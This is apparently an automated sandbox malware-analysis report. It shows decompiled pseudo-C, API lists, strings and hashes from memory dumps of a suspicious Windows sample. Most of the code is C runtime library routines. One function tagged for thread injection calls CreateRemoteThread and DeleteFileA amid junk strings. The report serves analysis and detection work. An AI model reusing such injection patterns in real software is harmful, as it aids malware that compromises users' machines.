0x00421c69
0x00421c70
0x00000000
0x00000000
0x00421c72
0x00421c72
0x00000000
0x00421c72
0x00421a60
0x004212fb
0x004212fb
0x00421301
0x00421308
0x0042130d
0x00421310
0x00000000
0x00421310

APIs

_get_int_arg.LIBCMTD ref: 004212D8
_strlen.LIBCMT ref: 00421308
_write_multi_char.LIBCMTD ref: 00421AEB
_write_string.LIBCMTD ref: 00421B06
_write_multi_char.LIBCMTD ref: 00421B32
__mbtowc_l.LIBCMTD ref: 00421BA1

Strings

("Incorrect format specifier", 0), xrefs: 00420EAA, 00420EF0
_woutput_s_l, xrefs: 00420EEB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00420EB6, 00420EE6

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-2264504294
Opcode ID: 3acc8f79f8cbc600d10ba0a8725a115ec3a1922dea6f968a5aaeae24a62b19c4
Instruction ID: 07047f4a4c5fc12ee4d1d31f658173a36f99e699fe58721454ae507568ae2a01
Opcode Fuzzy Hash: 3acc8f79f8cbc600d10ba0a8725a115ec3a1922dea6f968a5aaeae24a62b19c4
Instruction Fuzzy Hash: 33A1B0B1E00228DBDB24CF55DC81BAEB7B4BF44304F54419AE6096B292D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00421E40, Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 220
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 42%

			E00421E40(void* __ebx, char* __ecx, void* __edi, void* __esi, char* _a4, char* _a8, char* _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				signed int _v20;
				char* _v24;
				char _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				char* _v44;
				char* _t87;
				void* _t91;
				void* _t100;
				void* _t108;
				void* _t109;
				char* _t121;
				char* _t125;
				char* _t127;
				char* _t129;
				char* _t137;
				char* _t142;
				char* _t147;
				void* _t148;
				void* _t149;
				void* _t150;

				_t149 = __esi;
				_t148 = __edi;
				_t110 = __ecx;
				_t109 = __ebx;
				if(_a4 == 0 || _a8 <= 0) {
					_v28 = 0;
				} else {
					_v28 = 1;
				}
				_v16 = _v28;
				if(_v16 == 0) {
					_push(L"((_Dst)) != NULL && ((_SizeInBytes)) > 0");
					_push(0);
					_push(0x12);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl");
					_push(2);
					_t108 = L0041F590();
					_t150 = _t150 + 0x14;
					if(_t108 == 1) {
						asm("int3");
					}
				}
				if(_v16 == 0) {
					 *((intOrPtr*)(L0041F530(_t110))) = 0x16;
					E0041F2C0(_t109, _t110, _t148, _t149, L"((_Dst)) != NULL && ((_SizeInBytes)) > 0", L"strcpy_s", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl", 0x12, 0);
					return 0x16;
				}
				__eflags = _a12;
				if(_a12 != 0) {
					L22:
					_v8 = _a4;
					_v12 = _a8;
					while(1) {
						 *_v8 =  *_a12;
						_v8 = _v8 + 1;
						_a12 =  &(_a12[1]);
						__eflags =  *_v8;
						if( *_v8 == 0) {
							break;
						}
						_t127 = _v12 - 1;
						__eflags = _t127;
						_v12 = _t127;
						if(_t127 == 0) {
							break;
						}
					}
					__eflags = _v12;
					if(_v12 != 0) {
						L43:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
							__eflags = _a8 - 0x7fffffff;
							if(_a8 != 0x7fffffff) {
								__eflags =  &((_a8 - _v12)[1]) - _a8;
								if( &((_a8 - _v12)[1]) < _a8) {
									__eflags =  *0x43d1bc - _a8 -  &((_a8 - _v12)[1]); // 0xffffffff
									if(__eflags >= 0) {
										_t137 = _a8 -  &((_a8 - _v12)[1]);
										__eflags = _t137;
										_v44 = _t137;
									} else {
										_t87 =  *0x43d1bc; // 0xffffffff
										_v44 = _t87;
									}
									_t121 = _a8 - _v12;
									__eflags = _t121;
									_t74 =  &(_t121[1]); // 0x1
									E0041BED0(_t148, _a4 + _t74, 0xfe, _v44);
								}
							}
						}
						__eflags = 0;
						return 0;
					}
					 *_a4 = 0;
					__eflags = _a8 - 0xffffffff;
					if(_a8 != 0xffffffff) {
						__eflags = _a8 - 0x7fffffff;
						if(_a8 != 0x7fffffff) {
							__eflags = _a8 - 1;
							if(_a8 > 1) {
								__eflags =  *0x43d1bc - _a8 - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t142 = _a8 - 1;
									__eflags = _t142;
									_v36 = _t142;
								} else {
									_t125 =  *0x43d1bc; // 0xffffffff
									_v36 = _t125;
								}
								__eflags = _a4 + 1;
								E0041BED0(_t148, _a4 + 1, 0xfe, _v36);
								_t150 = _t150 + 0xc;
							}
						}
					}
					__eflags = L"Buffer is too small";
					if(L"Buffer is too small" == 0) {
						L37:
						_v40 = 0;
						goto L38;
					} else {
						__eflags = 0;
						if(0 == 0) {
							goto L37;
						}
						_v40 = 1;
						L38:
						_t122 = _v40;
						_v24 = _v40;
						__eflags = _v24;
						if(_v24 == 0) {
							_push(L"(L\"Buffer is too small\" && 0)");
							_push(0);
							_push(0x1e);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl");
							_push(2);
							_t91 = L0041F590();
							_t150 = _t150 + 0x14;
							__eflags = _t91 - 1;
							if(_t91 == 1) {
								asm("int3");
							}
						}
						__eflags = _v24;
						if(_v24 != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L0041F530(_t122))) = 0x22;
							E0041F2C0(_t109, _t122, _t148, _t149, L"(L\"Buffer is too small\" && 0)", L"strcpy_s", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl", 0x1e, 0);
							return 0x22;
						}
					}
				} else {
					 *_a4 = 0;
					__eflags = _a8 - 0xffffffff;
					if(_a8 != 0xffffffff) {
						__eflags = _a8 - 0x7fffffff;
						if(_a8 != 0x7fffffff) {
							__eflags = _a8 - 1;
							if(_a8 > 1) {
								__eflags =  *0x43d1bc - _a8 - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t147 = _a8 - 1;
									__eflags = _t147;
									_v32 = _t147;
								} else {
									_t129 =  *0x43d1bc; // 0xffffffff
									_v32 = _t129;
								}
								_t110 = _a4 + 1;
								__eflags = _a4 + 1;
								E0041BED0(_t148, _a4 + 1, 0xfe, _v32);
								_t150 = _t150 + 0xc;
							}
						}
					}
					__eflags = _a12;
					_v20 = 0 | _a12 != 0x00000000;
					__eflags = _v20;
					if(_v20 == 0) {
						_push(L"(((_Src))) != NULL");
						_push(0);
						_push(0x13);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl");
						_push(2);
						_t100 = L0041F590();
						_t150 = _t150 + 0x14;
						__eflags = _t100 - 1;
						if(_t100 == 1) {
							asm("int3");
						}
					}
					__eflags = _v20;
					if(_v20 != 0) {
						goto L22;
					} else {
						 *((intOrPtr*)(L0041F530(_t110))) = 0x16;
						E0041F2C0(_t109, _t110, _t148, _t149, L"(((_Src))) != NULL", L"strcpy_s", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\tcscpy_s.inl", 0x13, 0);
						return 0x16;
					}
				}
			}

0x00421e40
0x00421e40
0x00421e40
0x00421e40
0x00421e4c
0x00421e5d
0x00421e54
0x00421e54
0x00421e54
0x00421e67
0x00421e6e
0x00421e70
0x00421e75
0x00421e77
0x00421e79
0x00421e7e
0x00421e80
0x00421e85
0x00421e8b
0x00421e8d
0x00421e8d
0x00421e8b
0x00421e92
0x00421e99
0x00421eb2
0x00000000
0x00421eba
0x00421ec4
0x00421ec8
0x00421f89
0x00421f8c
0x00421f92
0x00421f95
0x00421f9d
0x00421fab
0x00421fb4
0x00421fb7
0x00421fb9
0x00000000
0x00000000
0x00421fbe
0x00421fbe
0x00421fc1
0x00421fc4
0x00000000
0x00000000
0x00421fc6
0x00421fc8
0x00421fcc
0x004220a1
0x004220a1
0x004220a5
0x004220a7
0x004220ae
0x004220b9
0x004220bc
0x004220cc
0x004220d2
0x004220ea
0x004220ea
0x004220ec
0x004220d4
0x004220d4
0x004220d9
0x004220d9
0x004220fb
0x004220fb
0x00422101
0x00422106
0x0042210b
0x004220bc
0x004220ae
0x0042210e
0x00000000
0x0042210e
0x00421fd5
0x00421fd8
0x00421fdc
0x00421fde
0x00421fe5
0x00421fe7
0x00421feb
0x00421ff3
0x00421ff9
0x00422009
0x00422009
0x0042200c
0x00421ffb
0x00421ffb
0x00422001
0x00422001
0x0042201b
0x0042201f
0x00422024
0x00422024
0x00421feb
0x00421fe5
0x0042202c
0x0042202e
0x0042203d
0x0042203d
0x00000000
0x00422030
0x00422030
0x00422032
0x00000000
0x00000000
0x00422034
0x00422044
0x00422044
0x00422047
0x0042204a
0x0042204e
0x00422050
0x00422055
0x00422057
0x00422059
0x0042205e
0x00422060
0x00422065
0x00422068
0x0042206b
0x0042206d
0x0042206d
0x0042206b
0x0042206e
0x00422072
0x00000000
0x00422074
0x00422079
0x00422092
0x00000000
0x0042209a
0x00422072
0x00421ece
0x00421ed1
0x00421ed4
0x00421ed8
0x00421eda
0x00421ee1
0x00421ee3
0x00421ee7
0x00421eef
0x00421ef5
0x00421f05
0x00421f05
0x00421f08
0x00421ef7
0x00421ef7
0x00421efd
0x00421efd
0x00421f17
0x00421f17
0x00421f1b
0x00421f20
0x00421f20
0x00421ee7
0x00421ee1
0x00421f25
0x00421f2c
0x00421f2f
0x00421f33
0x00421f35
0x00421f3a
0x00421f3c
0x00421f3e
0x00421f43
0x00421f45
0x00421f4a
0x00421f4d
0x00421f50
0x00421f52
0x00421f52
0x00421f50
0x00421f53
0x00421f57
0x00000000
0x00421f59
0x00421f5e
0x00421f77
0x00000000
0x00421f7f
0x00421f57

APIs

__invalid_parameter.LIBCMTD ref: 00421EB2
_memset.LIBCMT ref: 00421F1B
__invalid_parameter.LIBCMTD ref: 00421F77
_memset.LIBCMT ref: 0042201F
__invalid_parameter.LIBCMTD ref: 00422092
_memset.LIBCMT ref: 00422106

Strings

Buffer is too small, xrefs: 00422027
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 00421E70, 00421EAD
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl, xrefs: 00421E79, 00421EA3, 00421F3E, 00421F68, 00422059, 00422083
(((_Src))) != NULL, xrefs: 00421F35, 00421F72
strcpy_s, xrefs: 00421EA8, 00421F6D, 00422088
(L"Buffer is too small" && 0), xrefs: 00422050, 0042208D

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 3961059608-2682458797
Opcode ID: 3a2017ea298625ff95b36d4da4fce22432f6ea5d0089caa65e4a7eb46eff2562
Instruction ID: 0a0d5e6266a3e9e1eb6e5711b27d1b582cebbb2df8f37999c6e6d76f36ec5ca1
Opcode Fuzzy Hash: 3a2017ea298625ff95b36d4da4fce22432f6ea5d0089caa65e4a7eb46eff2562
Instruction Fuzzy Hash: CF91D770A00218FFCF24CF54D945BAE7BB1AB44319F50C12BE9286B3D1D7B99A81CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0041AF14, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 48
filethreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0041AF14(void* __eax, void* __ecx, intOrPtr* __edx, intOrPtr* __edi) {
				void* _t25;

				asm("adc [eax], eax");
				 *__edi =  *__edi + __ecx;
				 *__edx =  *__edx + __ecx;
				CreateThread(0, 0, 0, 0, ??, ??);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxA(_t25 - 0x1e4c);
				DeleteFileA(0);
				__imp__GetCalendarInfoA(0, 0, 0, "cahedexigovofopoy", 0, 0);
				InterlockedExchange(_t25 - 0x1e2c, 0);
				GetCommandLineA();
				DeleteFileA(_t25 - 0x1e10);
				TlsSetValue(0, 0);
				TryEnterCriticalSection(_t25 - 0x1e28);
				return 0;
			}

0x0041af1a
0x0041af1c
0x0041af24
0x0041af2f
0x0041af43
0x0041af50
0x0041af58
0x0041af6d
0x0041af7c
0x0041af82
0x0041af8f
0x0041af99
0x0041afa6
0x0041afaf

APIs

CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041AF2F
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041AF43
CreateActCtxA.KERNEL32 ref: 0041AF50
DeleteFileA.KERNEL32(00000000), ref: 0041AF58
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,cahedexigovofopoy,00000000,00000000), ref: 0041AF6D
InterlockedExchange.KERNEL32(?,00000000), ref: 0041AF7C
GetCommandLineA.KERNEL32 ref: 0041AF82
DeleteFileA.KERNEL32(?), ref: 0041AF8F
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041AF99
TryEnterCriticalSection.KERNEL32(?), ref: 0041AFA6

Strings

cahedexigovofopoy, xrefs: 0041AF62

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Create$DeleteFileThread$CalendarCommandCriticalEnterExchangeInfoInterlockedLineRemoteSectionValue
String ID: cahedexigovofopoy
API String ID: 1258492263-1097927457
Opcode ID: e4d4a64da945199d98888e57202e73a3e5e3faef67f0378dd5e5d7ea15edb92f
Instruction ID: 3c73a2ed1c4357d8da9feaf3ccae260989545aafccad0fdd328463582c510575
Opcode Fuzzy Hash: e4d4a64da945199d98888e57202e73a3e5e3faef67f0378dd5e5d7ea15edb92f
Instruction Fuzzy Hash: CB01F471A84385ABE7105BB0ED0EF897B68BB08702F1045A1F785F94F0D7F491858B19

Uniqueness

Uniqueness Score: -1.00%

Function 00425870, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00425870(void* __edi) {
				signed int _t828;
				signed int _t833;
				void* _t838;
				void* _t847;
				signed int _t851;
				signed int _t854;
				intOrPtr _t856;
				signed int _t867;
				signed int _t889;
				signed int _t891;
				signed int _t894;
				signed int _t898;
				signed int _t901;
				void* _t912;
				signed int _t917;
				signed int _t949;
				void* _t950;
				char _t958;
				signed int _t960;
				signed int _t979;
				signed int _t981;
				void* _t982;
				signed int _t1002;
				signed int _t1007;
				signed int _t1014;
				signed int _t1060;
				signed int _t1068;
				intOrPtr _t1076;
				signed int _t1119;
				signed int _t1125;
				signed int _t1167;
				signed int _t1176;
				signed int _t1197;
				void* _t1198;
				void* _t1199;
				signed int _t1200;
				void* _t1202;
				void* _t1203;
				void* _t1204;
				void* _t1207;
				void* _t1210;
				void* _t1211;

				L0:
				while(1) {
					L0:
					_t1198 = __edi;
					if( *(_t1200 - 0x215) > 0) {
						__dl =  *(__ebp - 0x29);
						__dl =  *(__ebp - 0x29) + 1;
						__eflags = __dl;
						 *(__ebp - 0x29) = __dl;
					}
					L79:
					 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
					 *(_t1200 - 0x38) =  *(_t1200 + 0xc);
					__eflags = ( *( *(_t1200 - 0x38)) & 0x000000ff) - 0x5e;
					if(( *( *(_t1200 - 0x38)) & 0x000000ff) == 0x5e) {
						 *(_t1200 - 0x38) =  *(_t1200 - 0x38) + 1;
						_t1197 =  *(_t1200 - 3) - 1;
						__eflags = _t1197;
						 *(_t1200 - 3) = _t1197;
					}
					L81:
					E0041BED0(_t1198,  *((intOrPtr*)(_t1200 - 0x4c)), 0, 0x20);
					_t1203 = _t1202 + 0xc;
					__eflags =  *(_t1200 - 0x44) - 0x7b;
					if( *(_t1200 - 0x44) == 0x7b) {
						__eflags = ( *( *(_t1200 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1200 - 0x38)) & 0x000000ff) == 0x5d) {
							 *(_t1200 - 0x7d) = 0x5d;
							_t981 =  *(_t1200 - 0x38) + 1;
							__eflags = _t981;
							 *(_t1200 - 0x38) = _t981;
							 *((char*)( *((intOrPtr*)(_t1200 - 0x4c)) + 0xb)) = 0x20;
						}
					}
					while(1) {
						L84:
						__eflags = ( *( *(_t1200 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1200 - 0x38)) & 0x000000ff) == 0x5d) {
							break;
						}
						L85:
						 *(_t1200 - 0x7e) =  *( *(_t1200 - 0x38));
						 *(_t1200 - 0x38) =  *(_t1200 - 0x38) + 1;
						__eflags = ( *(_t1200 - 0x7e) & 0x000000ff) - 0x2d;
						if(( *(_t1200 - 0x7e) & 0x000000ff) != 0x2d) {
							L88:
							 *(_t1200 - 0x7d) =  *(_t1200 - 0x7e);
							 *( *((intOrPtr*)(_t1200 - 0x4c)) + (( *(_t1200 - 0x7d) & 0x000000ff) >> 3)) =  *( *((intOrPtr*)(_t1200 - 0x4c)) + (( *(_t1200 - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << ( *(_t1200 - 0x7e) & 7);
							L97:
							continue;
						}
						L86:
						__eflags =  *(_t1200 - 0x7d) & 0x000000ff;
						if(( *(_t1200 - 0x7d) & 0x000000ff) == 0) {
							goto L88;
						}
						L87:
						__eflags = ( *( *(_t1200 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1200 - 0x38)) & 0x000000ff) != 0x5d) {
							L89:
							 *(_t1200 - 0x7e) =  *( *(_t1200 - 0x38));
							 *(_t1200 - 0x38) =  *(_t1200 - 0x38) + 1;
							__eflags = ( *(_t1200 - 0x7d) & 0x000000ff) - ( *(_t1200 - 0x7e) & 0x000000ff);
							if(( *(_t1200 - 0x7d) & 0x000000ff) >= ( *(_t1200 - 0x7e) & 0x000000ff)) {
								 *(_t1200 - 0x11) =  *(_t1200 - 0x7d);
								 *(_t1200 - 0x7d) =  *(_t1200 - 0x7e);
							} else {
								 *(_t1200 - 0x11) =  *(_t1200 - 0x7e);
							}
							 *(_t1200 - 0x7e) =  *(_t1200 - 0x7d);
							while(1) {
								L94:
								__eflags = ( *(_t1200 - 0x7e) & 0x000000ff) - ( *(_t1200 - 0x11) & 0x000000ff);
								if(( *(_t1200 - 0x7e) & 0x000000ff) > ( *(_t1200 - 0x11) & 0x000000ff)) {
									break;
								}
								L95:
								 *( *((intOrPtr*)(_t1200 - 0x4c)) + (( *(_t1200 - 0x7e) & 0x000000ff) >> 3)) =  *( *((intOrPtr*)(_t1200 - 0x4c)) + (( *(_t1200 - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << ( *(_t1200 - 0x7e) & 7);
								_t979 =  *(_t1200 - 0x7e) + 1;
								__eflags = _t979;
								 *(_t1200 - 0x7e) = _t979;
							}
							L96:
							 *(_t1200 - 0x7d) = 0;
							goto L97;
						}
						goto L88;
					}
					L98:
					__eflags =  *( *(_t1200 - 0x38)) & 0x000000ff;
					if(( *( *(_t1200 - 0x38)) & 0x000000ff) != 0) {
						L100:
						__eflags =  *(_t1200 - 0x44) - 0x7b;
						if( *(_t1200 - 0x44) == 0x7b) {
							 *(_t1200 + 0xc) =  *(_t1200 - 0x38);
						}
						while(1) {
							L102:
							 *(_t1200 - 0x48) =  *(_t1200 - 0x7c);
							_t987 =  *(_t1200 - 0xc) - 1;
							 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
							E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
							_t1204 = _t1203 + 8;
							__eflags =  *(_t1200 - 0x44) - 0x63;
							if( *(_t1200 - 0x44) != 0x63) {
								_t987 =  *(_t1200 - 0x18) - 1;
								__eflags = _t987;
								 *(_t1200 - 0x18) = _t987;
							}
							while(1) {
								L104:
								__eflags =  *(_t1200 - 0x1f0);
								if( *(_t1200 - 0x1f0) == 0) {
									goto L106;
								}
								L105:
								 *(_t1200 - 0x78) =  *(_t1200 - 0x78) - 1;
								__eflags =  *(_t1200 - 0x78);
								if( *(_t1200 - 0x78) == 0) {
									L127:
									__eflags =  *(_t1200 - 0x40);
									if( *(_t1200 - 0x40) == 0) {
										L145:
										_t1106 =  *(_t1200 - 0x48);
										__eflags =  *(_t1200 - 0x48) -  *(_t1200 - 0x7c);
										if( *(_t1200 - 0x48) ==  *(_t1200 - 0x7c)) {
											L165:
											L334:
											__eflags =  *((intOrPtr*)(_t1200 - 0x28)) - 1;
											if( *((intOrPtr*)(_t1200 - 0x28)) == 1) {
												L0041D8B0( *((intOrPtr*)(_t1200 - 0x84)), 2);
												_t1204 = _t1204 + 8;
											}
											__eflags =  *(_t1200 - 0x21c) - 0xffffffff;
											if( *(_t1200 - 0x21c) != 0xffffffff) {
												L342:
												__eflags =  *(_t1200 - 0x24) - 1;
												if( *(_t1200 - 0x24) != 1) {
													L351:
													_t1106 =  *(_t1200 - 8);
													 *(_t1200 - 0x24c) =  *(_t1200 - 8);
													E0041EA10(_t1200 - 0x214);
													_t833 =  *(_t1200 - 0x24c);
													goto L352;
												}
												L343:
												__eflags = 0;
												if(0 == 0) {
													 *(_t1200 - 0x278) = 0;
												} else {
													 *(_t1200 - 0x278) = 1;
												}
												_t1106 =  *(_t1200 - 0x278);
												 *(_t1200 - 0x240) =  *(_t1200 - 0x278);
												__eflags =  *(_t1200 - 0x240);
												if( *(_t1200 - 0x240) == 0) {
													_push(L"(\"Invalid Input Format\",0)");
													_push(0);
													_push(0x563);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
													_push(2);
													_t838 = L0041F590();
													_t1204 = _t1204 + 0x14;
													__eflags = _t838 - 1;
													if(_t838 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t1200 - 0x240);
												if( *(_t1200 - 0x240) != 0) {
													goto L351;
												} else {
													L350:
													 *((intOrPtr*)(L0041F530(0))) = 0x16;
													E0041F2C0(_t982, 0, _t1198, _t1199, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x563, 0);
													 *(_t1200 - 0x248) =  *(_t1200 - 8);
													E0041EA10(_t1200 - 0x214);
													_t833 =  *(_t1200 - 0x248);
													goto L352;
												}
											} else {
												L337:
												__eflags =  *(_t1200 - 8);
												if( *(_t1200 - 8) != 0) {
													L340:
													_t1106 =  *(_t1200 - 8);
													 *(_t1200 - 0x274) =  *(_t1200 - 8);
													L341:
													 *(_t1200 - 0x244) =  *(_t1200 - 0x274);
													E0041EA10(_t1200 - 0x214);
													_t833 =  *(_t1200 - 0x244);
													L352:
													__eflags =  *(_t1200 - 0x50) ^ _t1200;
													return E004242B0(_t833, _t982,  *(_t1200 - 0x50) ^ _t1200, _t1106, _t1198, _t1199);
												}
												L338:
												__eflags =  *(_t1200 - 0x1e9);
												if( *(_t1200 - 0x1e9) != 0) {
													goto L340;
												}
												L339:
												 *(_t1200 - 0x274) = 0xffffffff;
												goto L341;
											}
										}
										L146:
										__eflags =  *((char*)(_t1200 - 0x12));
										if( *((char*)(_t1200 - 0x12)) == 0) {
											 *(_t1200 - 8) =  *(_t1200 - 8) + 1;
											__eflags =  *(_t1200 - 0x44) - 0x63;
											if( *(_t1200 - 0x44) != 0x63) {
												__eflags =  *(_t1200 - 0x29);
												if( *(_t1200 - 0x29) == 0) {
													 *( *(_t1200 - 0x7c)) = 0;
													__eflags =  *(_t1200 - 0x34) - 0xffffffff;
													if( *(_t1200 - 0x34) != 0xffffffff) {
														__eflags =  *(_t1200 - 0x34) - 0x7fffffff;
														if( *(_t1200 - 0x34) != 0x7fffffff) {
															__eflags =  *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1 -  *(_t1200 - 0x34);
															if( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1 <  *(_t1200 - 0x34)) {
																__eflags =  *0x43d1bc -  *(_t1200 - 0x34) -  *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1;
																if( *0x43d1bc >=  *(_t1200 - 0x34) -  *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1) {
																	_t917 =  *(_t1200 - 0x34) -  *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1;
																	__eflags = _t917;
																	 *(_t1200 - 0x270) = _t917;
																} else {
																	 *(_t1200 - 0x270) =  *0x43d1bc;
																}
																__eflags =  *(_t1200 - 0x7c) -  *(_t1200 - 0x48);
																E0041BED0(_t1198,  *(_t1200 - 0x48) +  *(_t1200 - 0x7c) -  *(_t1200 - 0x48) + 1, 0xfe,  *(_t1200 - 0x270));
																_t1204 = _t1204 + 0xc;
															}
														}
													}
												} else {
													 *( *(_t1200 - 0x7c)) = 0;
													__eflags =  *(_t1200 - 0x34) - 0xffffffff;
													if( *(_t1200 - 0x34) != 0xffffffff) {
														__eflags =  *(_t1200 - 0x34) - 0x7fffffff;
														if( *(_t1200 - 0x34) != 0x7fffffff) {
															__eflags = ( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) + 1 -  *(_t1200 - 0x34);
															if(( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) + 1 <  *(_t1200 - 0x34)) {
																__eflags =  *0x43d1bc -  *(_t1200 - 0x34) - ( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) + 1;
																if( *0x43d1bc >=  *(_t1200 - 0x34) - ( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) + 1) {
																	_t1060 =  *(_t1200 - 0x34) - ( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) + 1;
																	__eflags = _t1060;
																	 *(_t1200 - 0x26c) = _t1060;
																} else {
																	 *(_t1200 - 0x26c) =  *0x43d1bc;
																}
																__eflags =  *(_t1200 - 0x7c) -  *(_t1200 - 0x48);
																E0041BED0(_t1198,  *(_t1200 - 0x48) + 2 + ( *(_t1200 - 0x7c) -  *(_t1200 - 0x48) >> 1) * 2, 0xfe,  *(_t1200 - 0x26c) << 1);
																_t1204 = _t1204 + 0xc;
															}
														}
													}
												}
											}
										}
										while(1) {
											L317:
											 *(_t1200 - 0x1e9) =  *(_t1200 - 0x1e9) + 1;
											 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
											while(1) {
												L329:
												__eflags =  *(_t1200 - 0x21c) - 0xffffffff;
												if( *(_t1200 - 0x21c) != 0xffffffff) {
													goto L333;
												}
												L330:
												_t1106 =  *(_t1200 + 0xc);
												__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) - 0x25;
												if(( *( *(_t1200 + 0xc)) & 0x000000ff) != 0x25) {
													L332:
													goto L334;
												}
												L331:
												_t1002 =  *(_t1200 + 0xc);
												_t1106 =  *(_t1002 + 1) & 0x000000ff;
												__eflags = ( *(_t1002 + 1) & 0x000000ff) - 0x6e;
												if(( *(_t1002 + 1) & 0x000000ff) == 0x6e) {
													goto L333;
												}
												goto L332;
												L333:
												while(1) {
													L1:
													_t1106 =  *(_t1200 + 0xc);
													if(( *( *(_t1200 + 0xc)) & 0x000000ff) == 0) {
														goto L334;
													}
													L2:
													_t847 = E004328C0(_t982, _t1198, _t1199,  *( *(_t1200 + 0xc)) & 0x000000ff);
													_t1204 = _t1204 + 4;
													if(_t847 == 0) {
														L6:
														__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) - 0x25;
														if(( *( *(_t1200 + 0xc)) & 0x000000ff) != 0x25) {
															L320:
															__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) - 0x25;
															if(( *( *(_t1200 + 0xc)) & 0x000000ff) == 0x25) {
																_t867 =  *(_t1200 + 0xc);
																__eflags = ( *(_t867 + 1) & 0x000000ff) - 0x25;
																if(( *(_t867 + 1) & 0x000000ff) == 0x25) {
